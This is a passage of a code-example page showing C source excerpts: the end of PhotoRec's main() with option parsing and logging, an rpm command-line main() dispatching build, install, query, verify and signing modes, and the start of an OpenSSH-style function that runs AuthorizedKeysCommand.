        params.recup_dir=strdup(argv[i+1]);
      i++;
    }
    else if((strcmp(argv[i],"/all")==0) || (strcmp(argv[i],"-all")==0))
      testdisk_mode|=TESTDISK_O_ALL;
    else if((strcmp(argv[i],"/direct")==0) || (strcmp(argv[i],"-direct")==0))
      testdisk_mode|=TESTDISK_O_DIRECT;
    else if((strcmp(argv[i],"/help")==0) || (strcmp(argv[i],"-help")==0) || (strcmp(argv[i],"--help")==0) ||
      (strcmp(argv[i],"/h")==0) || (strcmp(argv[i],"-h")==0) ||
      (strcmp(argv[i],"/?")==0) || (strcmp(argv[i],"-?")==0))
      help=1;
    else if((strcmp(argv[i],"/version")==0) || (strcmp(argv[i],"-version")==0) || (strcmp(argv[i],"--version")==0) ||
      (strcmp(argv[i],"/v")==0) || (strcmp(argv[i],"-v")==0))
      version=1;
    else if((strcmp(argv[i],"/nosetlocale")==0) || (strcmp(argv[i],"-nosetlocale")==0))
      run_setlocale=0;
    else if(strcmp(argv[i],"/cmd")==0)
    {
      if(i+2>=argc)
        help=1;
      else
      {
        disk_t *disk_car;
        params.cmd_device=argv[++i];
        params.cmd_run=argv[++i];
        /* There is no log currently */
        disk_car=file_test_availability(params.cmd_device, options.verbose, testdisk_mode);
        if(disk_car==NULL)
        {
          printf("\nUnable to open file or device %s\n", params.cmd_device);
          help=1;
        }
        else
          list_disk=insert_new_disk(list_disk,disk_car);
      }
    }
    else
    {
      disk_t *disk_car=file_test_availability(argv[i], options.verbose, testdisk_mode);
      if(disk_car==NULL)
      {
        printf("\nUnable to open file or device %s\n",argv[i]);
        help=1;
      }
      else
        list_disk=insert_new_disk(list_disk,disk_car);
    }
  }
  if(version!=0)
  {
    printf("\n");
    printf("Version: %s\n", VERSION);
    printf("Compiler: %s\n", get_compiler());
    printf("Compilation date: %s\n", get_compilation_date());
    printf("ext2fs lib: %s, ntfs lib: %s, ewf lib: %s, libjpeg: %s\n",
	td_ext2fs_version(), td_ntfs_version(), td_ewf_version(), td_jpeg_version());
    printf("OS: %s\n" , get_os());
    free(params.recup_dir);
    return 0;
  }
  if(help!=0)
  {
    printf("\nUsage: photorec [/log] [/debug] [/d recup_dir] [file.dd|file.e01|device]\n"\
	"       photorec /version\n" \
        "\n" \
        "/log          : create a photorec.log file\n" \
        "/debug        : add debug information\n" \
        "\n" \
        "PhotoRec searches various file formats (JPEG, Office...), it stores them\n" \
        "in recup_dir directory.\n" \
        "\n" \
        "If you have problems with PhotoRec or bug reports, please contact me.\n");
    free(params.recup_dir);
    return 0;
  }
#ifdef ENABLE_DFXML
  xml_set_command_line(argc, argv);
#endif
  if(create_log!=TD_LOG_NONE)
    log_handle=log_open(logfile, create_log);
#ifdef HAVE_SETLOCALE
  if(run_setlocale>0)
  {
    const char *locale;
    locale = setlocale (LC_ALL, "");
    if (locale==NULL) {
      locale = setlocale (LC_ALL, NULL);
      log_error("Failed to set locale, using default '%s'.\n", locale);
    } else {
      log_info("Using locale '%s'.\n", locale);
    }
  }
#endif
  if(create_log!=TD_LOG_NONE && log_handle==NULL)
    log_handle=log_open_default(logfile, create_log);
#ifdef HAVE_NCURSES
  /* ncurses need locale for correct unicode support */
  if(start_ncurses("PhotoRec", argv[0]))
  {
    free(params.recup_dir);
    return 1;
  }
  {
    const char*filename=logfile;
    while(create_log!=TD_LOG_NONE && log_handle==NULL)
    {
      filename=ask_log_location(filename);
      if(filename!=NULL)
	log_handle=log_open(filename, create_log);
      else
	create_log=TD_LOG_NONE;
    }
  }
  aff_copy(stdscr);
  wmove(stdscr,5,0);
  wprintw(stdscr, "Disk identification, please wait...\n");
  wrefresh(stdscr);
#endif
  if(log_handle!=NULL)
  {
    time_t my_time;
#ifdef HAVE_DUP2
    dup2(fileno(log_handle),2);
#endif
    my_time=time(NULL);
    log_info("\n\n%s",ctime(&my_time));
    log_info("Command line: PhotoRec");
    for(i=1;i<argc;i++)
      log_info(" %s", argv[i]);
    log_info("\n\n");
    log_flush();
  }
  log_info("PhotoRec %s, Data Recovery Utility, %s\nChristophe GRENIER <*****@*****.**>\nhttp://www.cgsecurity.org\n", VERSION, TESTDISKDATE);
  log_info("OS: %s\n" , get_os());
  log_info("Compiler: %s\n", get_compiler());
  log_info("Compilation date: %s\n", get_compilation_date());
  log_info("ext2fs lib: %s, ntfs lib: %s, ewf lib: %s, libjpeg: %s\n",
      td_ext2fs_version(), td_ntfs_version(), td_ewf_version(), td_jpeg_version());
#if defined(__CYGWIN__) || defined(__MINGW32__) || defined(DJGPP)
#else
#ifdef HAVE_GETEUID
  if(geteuid()!=0)
  {
    log_warning("User is not root!\n");
  }
#endif
#endif
  screen_buffer_reset();
  /* Scan for available device only if no device or image has been supplied in parameter */
  if(list_disk==NULL)
    list_disk=hd_parse(list_disk, options.verbose, testdisk_mode);
  hd_update_all_geometry(list_disk, options.verbose);
  /* Activate the cache, even if photorec has its own */
  for(element_disk=list_disk;element_disk!=NULL;element_disk=element_disk->next)
  {
    element_disk->disk=new_diskcache(element_disk->disk, testdisk_mode);
  }
  /* save disk parameters to rapport */
  log_info("Hard disk list\n");
  for(element_disk=list_disk;element_disk!=NULL;element_disk=element_disk->next)
  {
    disk_t *disk=element_disk->disk;
    log_info("%s, sector size=%u", disk->description(disk), disk->sector_size);
    if(disk->model!=NULL)
      log_info(" - %s", disk->model);
    if(disk->serial_no!=NULL)
      log_info(", S/N:%s", disk->serial_no);
    if(disk->fw_rev!=NULL)
      log_info(", FW:%s", disk->fw_rev);
    log_info("\n");
  }
  log_info("\n");
  reset_list_file_enable(options.list_file_format);
  file_options_load(options.list_file_format);
  use_sudo=do_curses_photorec(&params, &options, list_disk);
#ifdef HAVE_NCURSES
  end_ncurses();
#endif
  delete_list_disk(list_disk);
  log_info("PhotoRec exited normally.\n");
  if(log_close()!=0)
  {
    printf("PhotoRec: Log file corrupted!\n");
  }
  else if(params.cmd_run!=NULL && params.cmd_run[0]!='\0')
  {
    printf("PhotoRec syntax error: %s\n", params.cmd_run);
  }
  else
  {
    printf("PhotoRec exited normally.\n");
  }
#ifdef SUDO_BIN
  if(use_sudo>0)
    run_sudo(argc, argv);
#endif
  free(params.recup_dir);
#ifdef ENABLE_DFXML
  xml_clear_command_line();
#endif
  return 0;
}
Exemple #28
0
int main(int argc, const char ** argv)
#endif
/*@globals rpmEVR, RPMVERSION,
	rpmGlobalMacroContext, rpmCLIMacroContext,
	h_errno, fileSystem, internalState@*/
/*@modifies fileSystem, internalState@*/
{
    poptContext optCon = rpmcliInit(argc, (char *const *)argv, optionsTable);

    rpmts ts = NULL;
    enum modes bigMode = MODE_UNKNOWN;

#if defined(IAM_RPMQV)
    QVA_t qva = &rpmQVKArgs;
#endif

#ifdef	IAM_RPMBT
    BTA_t ba = &rpmBTArgs;
#endif

#ifdef	IAM_RPMEIU
    QVA_t ia = &rpmIArgs;
#endif

#if defined(IAM_RPMDB)
    QVA_t da = &rpmDBArgs;
#endif

#if defined(IAM_RPMK)
    QVA_t ka = &rpmQVKArgs;
#endif

#if defined(IAM_RPMBT) || defined(IAM_RPMK)
    char * passPhrase = "";
#endif

    pid_t pipeChild = 0;
    int ec = 0;
    int status;
    int p[2];
#ifdef	IAM_RPMEIU
    int xx;
#endif

#if !defined(__GLIBC__) && !defined(__LCLINT__)
    environ = envp;
#else
    /* XXX limit the fiddle up to linux for now. */
#if !defined(HAVE_SETPROCTITLE) && defined(__linux__)
    (void) initproctitle(argc, (char **)argv, environ);
#endif
#endif

    /* Set the major mode based on argv[0] */
    /*@-nullpass@*/
#ifdef	IAM_RPMBT
    if (!strcmp(__progname, "rpmb"))	bigMode = MODE_BUILD;
    if (!strcmp(__progname, "lt-rpmb"))	bigMode = MODE_BUILD;
    if (!strcmp(__progname, "rpmt"))	bigMode = MODE_TARBUILD;
    if (!strcmp(__progname, "rpmbuild"))	bigMode = MODE_BUILD;
#endif
#ifdef	IAM_RPMQV
    if (!strcmp(__progname, "rpmq"))	bigMode = MODE_QUERY;
    if (!strcmp(__progname, "lt-rpmq"))	bigMode = MODE_QUERY;
    if (!strcmp(__progname, "rpmv"))	bigMode = MODE_VERIFY;
    if (!strcmp(__progname, "rpmquery"))	bigMode = MODE_QUERY;
    if (!strcmp(__progname, "rpmverify"))	bigMode = MODE_VERIFY;
#endif
#ifdef	RPMEIU
    if (!strcmp(__progname, "rpme"))	bigMode = MODE_ERASE;
    if (!strcmp(__progname, "rpmi"))	bigMode = MODE_INSTALL;
    if (!strcmp(__progname, "lt-rpmi"))	bigMode = MODE_INSTALL;
    if (!strcmp(__progname, "rpmu"))	bigMode = MODE_INSTALL;
#endif
    /*@=nullpass@*/

#if defined(IAM_RPMQV)
    /* Jumpstart option from argv[0] if necessary. */
    switch (bigMode) {
    case MODE_QUERY:
        qva->qva_mode = 'q';
        break;
    case MODE_VERIFY:
        qva->qva_mode = 'V';
        break;
    case MODE_CHECKSIG:
        qva->qva_mode = 'K';
        break;
    case MODE_RESIGN:
        qva->qva_mode = 'R';
        break;
    case MODE_INSTALL:
    case MODE_ERASE:
    case MODE_BUILD:
    case MODE_REBUILD:
    case MODE_RECOMPILE:
    case MODE_TARBUILD:
    case MODE_REBUILDDB:
    case MODE_UNKNOWN:
    default:
        break;
    }
#endif

    rpmcliConfigured();

#ifdef	IAM_RPMBT
    switch (ba->buildMode) {
    case 'b':
        bigMode = MODE_BUILD;
        break;
    case 't':
        bigMode = MODE_TARBUILD;
        break;
    case 'B':
        bigMode = MODE_REBUILD;
        break;
    case 'C':
        bigMode = MODE_RECOMPILE;
        break;
    }

    if ((ba->buildAmount & RPMBUILD_RMSOURCE) && bigMode == MODE_UNKNOWN)
        bigMode = MODE_BUILD;

    if ((ba->buildAmount & RPMBUILD_RMSPEC) && bigMode == MODE_UNKNOWN)
        bigMode = MODE_BUILD;
#endif	/* IAM_RPMBT */

#ifdef	IAM_RPMDB
    if (bigMode == MODE_UNKNOWN || (bigMode & MODES_DB)) {
        if (da->rebuild) {
            if (bigMode != MODE_UNKNOWN)
                argerror(_("only one major mode may be specified"));
            else
                bigMode = MODE_REBUILDDB;
        }
    }
#endif	/* IAM_RPMDB */

#ifdef	IAM_RPMQV
    if (bigMode == MODE_UNKNOWN || (bigMode & MODES_QV)) {
        switch (qva->qva_mode) {
        case 'q':
            bigMode = MODE_QUERY;
            break;
        case 'V':
            bigMode = MODE_VERIFY;
            break;
        }

        if (qva->qva_sourceCount) {
            if (qva->qva_sourceCount > 2)
                argerror(_("one type of query/verify may be performed at a "
                           "time"));
        }
        if (qva->qva_flags && (bigMode & ~MODES_QV))
            argerror(_("unexpected query flags"));

        if (qva->qva_queryFormat && (bigMode & ~MODES_QV))
            argerror(_("unexpected query format"));

        if (qva->qva_source != RPMQV_PACKAGE && (bigMode & ~MODES_QV))
            argerror(_("unexpected query source"));
    }
#endif	/* IAM_RPMQV */

#ifdef	IAM_RPMEIU
    if (bigMode == MODE_UNKNOWN || (bigMode & MODES_IE))
    {   int iflags = (ia->installInterfaceFlags &
                      (INSTALL_UPGRADE|INSTALL_FRESHEN|INSTALL_INSTALL));
        int eflags = (ia->installInterfaceFlags & INSTALL_ERASE);

        if (iflags & eflags)
            argerror(_("only one major mode may be specified"));
        else if (iflags)
            bigMode = MODE_INSTALL;
        else if (eflags)
            bigMode = MODE_ERASE;
    }
#endif	/* IAM_RPMEIU */

#ifdef	IAM_RPMK
    if (bigMode == MODE_UNKNOWN || (bigMode & MODES_K)) {
        switch (ka->qva_mode) {
        case RPMSIGN_NONE:
            ka->sign = 0;
            break;
        case RPMSIGN_IMPORT_PUBKEY:
        case RPMSIGN_CHK_SIGNATURE:
            bigMode = MODE_CHECKSIG;
            ka->sign = 0;
            break;
        case RPMSIGN_ADD_SIGNATURE:
        case RPMSIGN_NEW_SIGNATURE:
        case RPMSIGN_DEL_SIGNATURE:
            bigMode = MODE_RESIGN;
            ka->sign = (ka->qva_mode != RPMSIGN_DEL_SIGNATURE);
            break;
        }
    }
#endif	/* IAM_RPMK */

#if defined(IAM_RPMEIU)
    if (!( bigMode == MODE_INSTALL ) &&
            (ia->probFilter & (RPMPROB_FILTER_REPLACEPKG | RPMPROB_FILTER_OLDPACKAGE)))
        argerror(_("only installation, upgrading, rmsource and rmspec may be forced"));
    if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_FORCERELOCATE))
        argerror(_("files may only be relocated during package installation"));

    if (ia->relocations && ia->qva_prefix)
        argerror(_("cannot use --prefix with --relocate or --excludepath"));

    if (bigMode != MODE_INSTALL && ia->relocations)
        argerror(_("--relocate and --excludepath may only be used when installing new packages"));

    if (bigMode != MODE_INSTALL && ia->qva_prefix)
        argerror(_("--prefix may only be used when installing new packages"));

    if (ia->qva_prefix && ia->qva_prefix[0] != '/')
        argerror(_("arguments to --prefix must begin with a /"));

    if (bigMode != MODE_INSTALL && (ia->installInterfaceFlags & INSTALL_HASH))
        argerror(_("--hash (-h) may only be specified during package "
                   "installation"));

    if (bigMode != MODE_INSTALL && (ia->installInterfaceFlags & INSTALL_PERCENT))
        argerror(_("--percent may only be specified during package "
                   "installation"));

    if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_REPLACEPKG))
        argerror(_("--replacepkgs may only be specified during package "
                   "installation"));

    if (bigMode != MODE_INSTALL && (ia->transFlags & RPMTRANS_FLAG_NODOCS))
        argerror(_("--excludedocs may only be specified during package "
                   "installation"));

    if (bigMode != MODE_INSTALL && ia->incldocs)
        argerror(_("--includedocs may only be specified during package "
                   "installation"));

    if (ia->incldocs && (ia->transFlags & RPMTRANS_FLAG_NODOCS))
        argerror(_("only one of --excludedocs and --includedocs may be "
                   "specified"));

    if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_IGNOREARCH))
        argerror(_("--ignorearch may only be specified during package "
                   "installation"));

    if (bigMode != MODE_INSTALL && (ia->probFilter & RPMPROB_FILTER_IGNOREOS))
        argerror(_("--ignoreos may only be specified during package "
                   "installation"));

    if ((ia->installInterfaceFlags & INSTALL_ALLMATCHES) && bigMode != MODE_ERASE)
        argerror(_("--allmatches may only be specified during package "
                   "erasure"));

    if ((ia->transFlags & RPMTRANS_FLAG_ALLFILES) && bigMode != MODE_INSTALL)
        argerror(_("--allfiles may only be specified during package "
                   "installation"));

    if ((ia->transFlags & RPMTRANS_FLAG_JUSTDB) &&
            bigMode != MODE_INSTALL && bigMode != MODE_ERASE)
        argerror(_("--justdb may only be specified during package "
                   "installation and erasure"));

    if (bigMode != MODE_INSTALL && bigMode != MODE_ERASE &&
            (ia->transFlags & (RPMTRANS_FLAG_NOSCRIPTS | _noTransScripts | _noTransTriggers)))
        argerror(_("script disabling options may only be specified during "
                   "package installation and erasure"));

    if (bigMode != MODE_INSTALL && bigMode != MODE_ERASE &&
            (ia->transFlags & (RPMTRANS_FLAG_NOTRIGGERS | _noTransTriggers)))
        argerror(_("trigger disabling options may only be specified during "
                   "package installation and erasure"));

    if (ia->noDeps & (bigMode & ~MODES_FOR_NODEPS))
        argerror(_("--nodeps may only be specified during package "
                   "building, rebuilding, recompilation, installation, "
                   "erasure, and verification"));

    if ((ia->transFlags & RPMTRANS_FLAG_TEST) && (bigMode & ~MODES_FOR_TEST))
        argerror(_("--test may only be specified during package installation, "
                   "erasure, and building"));
#endif	/* IAM_RPMEIU */

    if (rpmioRootDir && rpmioRootDir[1] && (bigMode & ~MODES_FOR_ROOT))
        argerror(_("--root (-r) may only be specified during "
                   "installation, erasure, querying, and "
                   "database rebuilds"));

    if (rpmioRootDir) {
        switch (urlIsURL(rpmioRootDir)) {
        default:
            if (bigMode & MODES_FOR_ROOT)
                break;
        /*@fallthrough@*/
        case URL_IS_UNKNOWN:
            if (rpmioRootDir[0] != '/')
                argerror(_("arguments to --root (-r) must begin with a /"));
            break;
        }
    }

#if defined(RPM_VENDOR_OPENPKG) /* integrity-checking */
    integrity_check(__progname, bigMode);
#endif

#if defined(IAM_RPMBT) || defined(IAM_RPMK)
    if (0
#if defined(IAM_RPMBT)
            || ba->sign
#endif
#if defined(IAM_RPMK)
            || ka->sign
#endif
       )
        /*@-branchstate@*/
    {
        if (bigMode == MODE_REBUILD || bigMode == MODE_BUILD ||
                bigMode == MODE_RESIGN || bigMode == MODE_TARBUILD)
        {
            const char ** av;
            struct stat sb;
            int errors = 0;

            if ((av = poptGetArgs(optCon)) == NULL) {
                fprintf(stderr, _("no files to sign\n"));
                errors++;
            } else
                while (*av) {
                    if (Stat(*av, &sb)) {
                        fprintf(stderr, _("cannot access file %s\n"), *av);
                        errors++;
                    }
                    av++;
                }

            if (errors) {
                ec = errors;
                goto exit;
            }


            if (poptPeekArg(optCon)
#if defined(IAM_RPMBT)
                    && !ba->nopassword
#endif
#if defined(IAM_RPMK)
                    && !ka->nopassword
#endif
               )
            {
                passPhrase = Getpass(_("Enter pass phrase: "));
                if (rpmCheckPassPhrase(passPhrase)) {
                    fprintf(stderr, _("Pass phrase check failed\n"));
                    ec = EXIT_FAILURE;
                    goto exit;
                }
                fprintf(stderr, _("Pass phrase is good.\n"));
                /* XXX Getpass() should realloc instead. */
                passPhrase = xstrdup(passPhrase);
            }
        }
    }
    /*@=branchstate@*/
#endif	/* IAM_RPMBT || IAM_RPMK */

    if (rpmioPipeOutput) {
        if (pipe(p) < 0) {
            fprintf(stderr, _("creating a pipe for --pipe failed: %m\n"));
            goto exit;
        }

        if (!(pipeChild = fork())) {
            (void) close(p[1]);
            (void) dup2(p[0], STDIN_FILENO);
            (void) close(p[0]);
            (void) execl("/bin/sh", "/bin/sh", "-c", rpmioPipeOutput, NULL);
            fprintf(stderr, _("exec failed\n"));
        }

        (void) close(p[0]);
        (void) dup2(p[1], STDOUT_FILENO);
        (void) close(p[1]);
    }

    ts = rpmtsCreate();
    (void) rpmtsSetRootDir(ts, rpmioRootDir);
    switch (bigMode) {
#ifdef	IAM_RPMDB
    case MODE_REBUILDDB:
    {   rpmVSFlags vsflags = rpmExpandNumeric("%{_vsflags_rebuilddb}");
        rpmVSFlags ovsflags;
        if (rpmcliQueryFlags & VERIFY_DIGEST)
            vsflags |= _RPMVSF_NODIGESTS;
        if (rpmcliQueryFlags & VERIFY_SIGNATURE)
            vsflags |= _RPMVSF_NOSIGNATURES;
        ovsflags = rpmtsSetVSFlags(ts, vsflags);
        ec = rpmtsRebuildDB(ts);
        vsflags = rpmtsSetVSFlags(ts, ovsflags);
    }
    break;
#endif	/* IAM_RPMDB */

#ifdef	IAM_RPMBT
    case MODE_REBUILD:
    case MODE_RECOMPILE:
    {   const char * pkg;
        int nbuilds = 0;

        while (!rpmIsVerbose())
            rpmIncreaseVerbosity();

        if (!poptPeekArg(optCon))
            argerror(_("no packages files given for rebuild"));

        ba->buildAmount =
            RPMBUILD_PREP | RPMBUILD_BUILD | RPMBUILD_INSTALL | RPMBUILD_CHECK;
        if (bigMode == MODE_REBUILD) {
            ba->buildAmount |= RPMBUILD_PACKAGEBINARY;
            ba->buildAmount |= RPMBUILD_RMSOURCE;
            ba->buildAmount |= RPMBUILD_RMSPEC;
            ba->buildAmount |= RPMBUILD_CLEAN;
            ba->buildAmount |= RPMBUILD_RMBUILD;
        }

        while ((pkg = poptGetArg(optCon))) {
            if (nbuilds++ > 0) {
                rpmFreeMacros(NULL);
                rpmFreeRpmrc();
                (void) rpmReadConfigFiles(NULL, NULL);
            }
            ba->specFile = NULL;
            ba->cookie = NULL;
            ec = rpmInstallSource(ts, pkg, &ba->specFile, &ba->cookie);
            if (ec == 0) {
                ba->rootdir = rpmioRootDir;
                ba->passPhrase = passPhrase;
                ec = build(ts, ba, NULL);
            }
            ba->cookie = _free(ba->cookie);
            ba->specFile = _free(ba->specFile);

            if (ec)
                /*@loopbreak@*/ break;
        }

    }
    break;

    case MODE_BUILD:
    case MODE_TARBUILD:
    {   int nbuilds = 0;

#if defined(RPM_VENDOR_OPENPKG) /* no-auto-verbose-increase-for-track-and-fetch */
        if (ba->buildChar != 't' && ba->buildChar != 'f')
#endif
            while (!rpmIsVerbose())
                rpmIncreaseVerbosity();

        switch (ba->buildChar) {
        case 'a':
            ba->buildAmount |= RPMBUILD_PACKAGESOURCE;
        /*@fallthrough@*/
        case 'b':
            ba->buildAmount |= RPMBUILD_PACKAGEBINARY;
            ba->buildAmount |= RPMBUILD_CLEAN;
            if ((ba->buildChar == 'b') && ba->shortCircuit)
                /*@innerbreak@*/ break;
        /*@fallthrough@*/
        case 'i':
            ba->buildAmount |= RPMBUILD_INSTALL;
            ba->buildAmount |= RPMBUILD_CHECK;
            if ((ba->buildChar == 'i') && ba->shortCircuit)
                /*@innerbreak@*/ break;
        /*@fallthrough@*/
        case 'c':
            ba->buildAmount |= RPMBUILD_BUILD;
            if ((ba->buildChar == 'c') && ba->shortCircuit)
                /*@innerbreak@*/ break;
        /*@fallthrough@*/
        case 'p':
            ba->buildAmount |= RPMBUILD_PREP;
            /*@innerbreak@*/ break;

        case 'l':
            ba->buildAmount |= RPMBUILD_FILECHECK;
            /*@innerbreak@*/ break;
        case 's':
            ba->buildAmount |= RPMBUILD_PACKAGESOURCE;
#if defined(RPM_VENDOR_OPENPKG) || defined(RPM_VENDOR_MANDRIVA) || defined(RPM_VENDOR_ARK) /* no-deps-on-building-srpms */
            /* enforce no dependency checking when rolling a source RPM */
            ba->noDeps = 1;
#endif
            /*@innerbreak@*/ break;
        case 't':	/* support extracting the "%track" script/section */
            ba->buildAmount |= RPMBUILD_TRACK;
            /* enforce no dependency checking and expansion of %setup, %patch and %prep macros */
            ba->noDeps = 1;
            rpmDefineMacro(NULL, "setup #", RMIL_CMDLINE);
            rpmDefineMacro(NULL, "patch #", RMIL_CMDLINE);
            rpmDefineMacro(NULL, "prep %%prep", RMIL_CMDLINE);
            /*@innerbreak@*/ break;
        case 'f':
            ba->buildAmount |= RPMBUILD_FETCHSOURCE;
            ba->noDeps = 1;
            /*@innerbreak@*/ break;
        }

        if (!poptPeekArg(optCon)) {
            if (bigMode == MODE_BUILD)
                argerror(_("no spec files given for build"));
            else
                argerror(_("no tar files given for build"));
        }

        while ((ba->specFile = poptGetArg(optCon))) {
            if (nbuilds++ > 0) {
                rpmFreeMacros(NULL);
                rpmFreeRpmrc();
                (void) rpmReadConfigFiles(NULL, NULL);
            }
            ba->rootdir = rpmioRootDir;
            ba->passPhrase = passPhrase;
            ba->cookie = NULL;
            ec = build(ts, ba, NULL);
            if (ec)
                /*@loopbreak@*/ break;
        }
    }
    break;
#endif	/* IAM_RPMBT */

#ifdef	IAM_RPMEIU
    case MODE_ERASE:
        ia->depFlags = global_depFlags;
        if (ia->noDeps) ia->installInterfaceFlags |= INSTALL_NODEPS;

        if (!poptPeekArg(optCon)) {
            if (ia->rbtid == 0)
                argerror(_("no packages given for erase"));
            ia->transFlags |= RPMTRANS_FLAG_NOFDIGESTS;
            ia->probFilter |= RPMPROB_FILTER_OLDPACKAGE;
            ia->rbCheck = rpmcliInstallCheck;
            ia->rbOrder = rpmcliInstallOrder;
            ia->rbRun = rpmcliInstallRun;
            ec += rpmRollback(ts, ia, NULL);
        } else {
            ec += rpmErase(ts, ia, (const char **) poptGetArgs(optCon));
        }
        break;

    case MODE_INSTALL:

        /* RPMTRANS_FLAG_KEEPOBSOLETE */

        ia->depFlags = global_depFlags;
        if (!ia->incldocs) {
            if (ia->transFlags & RPMTRANS_FLAG_NODOCS) {
                ;
            } else if (rpmExpandNumeric("%{_excludedocs}"))
                ia->transFlags |= RPMTRANS_FLAG_NODOCS;
        }

        if (ia->noDeps) ia->installInterfaceFlags |= INSTALL_NODEPS;

        /* we've already ensured !(!ia->prefix && !ia->relocations) */
        /*@-branchstate@*/
        if (ia->qva_prefix) {
            xx = rpmfiAddRelocation(&ia->relocations, &ia->nrelocations,
                                    NULL, ia->qva_prefix);
            xx = rpmfiAddRelocation(&ia->relocations, &ia->nrelocations,
                                    NULL, NULL);
        } else if (ia->relocations) {
            xx = rpmfiAddRelocation(&ia->relocations, &ia->nrelocations,
                                    NULL, NULL);
        }
        /*@=branchstate@*/

        if (!poptPeekArg(optCon)) {
            if (ia->rbtid == 0)
                argerror(_("no packages given for install"));
            ia->transFlags |= RPMTRANS_FLAG_NOFDIGESTS;
            ia->probFilter |= RPMPROB_FILTER_OLDPACKAGE;
            ia->rbCheck = rpmcliInstallCheck;
            ia->rbOrder = rpmcliInstallOrder;
            ia->rbRun = rpmcliInstallRun;
            /*@i@*/	    ec += rpmRollback(ts, ia, NULL);
        } else {
            /*@-compdef -compmempass@*/ /* FIX: ia->relocations[0].newPath undefined */
            ec += rpmcliInstall(ts, ia, (const char **)poptGetArgs(optCon));
            /*@=compdef =compmempass@*/
        }
        break;

#endif	/* IAM_RPMEIU */

#ifdef	IAM_RPMQV
    case MODE_QUERY:
        if (!poptPeekArg(optCon)
                && !(qva->qva_source == RPMQV_ALL || qva->qva_source == RPMQV_HDLIST))
            argerror(_("no arguments given for query"));

        qva->depFlags = global_depFlags;
        qva->qva_specQuery = rpmspecQuery;
        ec = rpmcliQuery(ts, qva, (const char **) poptGetArgs(optCon));
        qva->qva_specQuery = NULL;
        break;

    case MODE_VERIFY:
    {   rpmVerifyFlags verifyFlags = VERIFY_ALL;

        qva->depFlags = global_depFlags;
        verifyFlags &= ~qva->qva_flags;
        qva->qva_flags = (rpmQueryFlags) verifyFlags;

        if (!poptPeekArg(optCon)
                && !(qva->qva_source == RPMQV_ALL || qva->qva_source == RPMQV_HDLIST))
            argerror(_("no arguments given for verify"));
        ec = rpmcliVerify(ts, qva, (const char **) poptGetArgs(optCon));
    }
    break;
#endif	/* IAM_RPMQV */

#ifdef IAM_RPMK
    case MODE_CHECKSIG:
    {   rpmVerifyFlags verifyFlags =
            (VERIFY_FDIGEST|VERIFY_HDRCHK|VERIFY_DIGEST|VERIFY_SIGNATURE);

        verifyFlags &= ~ka->qva_flags;
        ka->qva_flags = (rpmQueryFlags) verifyFlags;
        }   /*@fallthrough@*/
    case MODE_RESIGN:
        if (!poptPeekArg(optCon))
            argerror(_("no arguments given"));
        ka->passPhrase = passPhrase;
        ec = rpmcliSign(ts, ka, (const char **)poptGetArgs(optCon));
        break;
#endif	/* IAM_RPMK */

#if !defined(IAM_RPMQV)
    case MODE_QUERY:
    case MODE_VERIFY:
#endif
#if !defined(IAM_RPMK)
    case MODE_CHECKSIG:
    case MODE_RESIGN:
#endif
#if !defined(IAM_RPMDB)
    case MODE_REBUILDDB:
#endif
#if !defined(IAM_RPMBT)
    case MODE_BUILD:
    case MODE_REBUILD:
    case MODE_RECOMPILE:
    case MODE_TARBUILD:
#endif
#if !defined(IAM_RPMEIU)
    case MODE_INSTALL:
    case MODE_ERASE:
#endif
    case MODE_UNKNOWN:
#ifdef	DYING /* XXX rpmIsVerbose alone stops usage spewage with every --eval */
        if (poptPeekArg(optCon) != NULL || argc <= 1 || rpmIsVerbose()) {
            printUsage(optCon, stderr, 0);
            ec = argc;
        }
#endif
        break;
    }

#if defined(IAM_RPMBT) || defined(IAM_RPMK)
exit:
#endif	/* IAM_RPMBT || IAM_RPMK */

    (void)rpmtsFree(ts);
    ts = NULL;

    if (pipeChild) {
        (void) fclose(stdout);
        (void) waitpid(pipeChild, &status, 0);
    }

#ifdef	IAM_RPMQV
    qva->qva_queryFormat = _free(qva->qva_queryFormat);
#endif

#ifdef	IAM_RPMBT
    freeNames();
    /* XXX _specPool/_pkgPool teardown should be done somewhere else. */
    {   extern rpmioPool _pkgPool;
        extern rpmioPool _specPool;
        _pkgPool = rpmioFreePool(_pkgPool);
        _specPool = rpmioFreePool(_specPool);
    }
#endif

#ifdef	IAM_RPMEIU
    ia->relocations = rpmfiFreeRelocations(ia->relocations);
#endif

    optCon = rpmcliFini(optCon);

    /* XXX limit the fiddle up to linux for now. */
#if !defined(HAVE_SETPROCTITLE) && defined(__linux__)
    (void) finiproctitle();
#endif

    /* XXX don't overflow single byte exit status */
    /* XXX status 255 is special to xargs(1) */
    if (ec > 254) ec = 254;

    /*@-globstate@*/
    return ec;
    /*@=globstate@*/
}
/*
 * Checks whether key is allowed in output of command.
 * returns 1 if the key is allowed or 0 otherwise.
 */
static int
user_key_command_allowed2(struct passwd *user_pw, Key *key)
{
	FILE *f;
	int ok, found_key = 0;
	struct passwd *pw;
	struct stat st;
	int status, devnull, p[2], i;
	pid_t pid;
	char *username, errmsg[512];

	if (options.authorized_keys_command == NULL ||
	    options.authorized_keys_command[0] != '/')
		return 0;

	if (options.authorized_keys_command_user == NULL) {
		error("No user for AuthorizedKeysCommand specified, skipping");
		return 0;
	}

	username = percent_expand(options.authorized_keys_command_user,
	    "u", user_pw->pw_name, (char *)NULL);
	pw = getpwnam(username);
	if (pw == NULL) {
		error("AuthorizedKeysCommandUser \"%s\" not found: %s",
		    username, strerror(errno));
		free(username);
		return 0;
	}
	free(username);

	temporarily_use_uid(pw);

	if (stat(options.authorized_keys_command, &st) < 0) {
		error("Could not stat AuthorizedKeysCommand \"%s\": %s",
		    options.authorized_keys_command, strerror(errno));
		goto out;
	}
	if (auth_secure_path(options.authorized_keys_command, &st, NULL, 0,
	    errmsg, sizeof(errmsg)) != 0) {
		error("Unsafe AuthorizedKeysCommand: %s", errmsg);
		goto out;
	}

	if (pipe(p) != 0) {
		error("%s: pipe: %s", __func__, strerror(errno));
		goto out;
	}

	debug3("Running AuthorizedKeysCommand: \"%s %s\" as \"%s\"",
	    options.authorized_keys_command, user_pw->pw_name, pw->pw_name);

	/*
	 * Don't want to call this in the child, where it can fatal() and
	 * run cleanup_exit() code.
	 */
	restore_uid();

	switch ((pid = fork())) {
	case -1: /* error */
		error("%s: fork: %s", __func__, strerror(errno));
		close(p[0]);
		close(p[1]);
		return 0;
	case 0: /* child */
		for (i = 0; i < NSIG; i++)
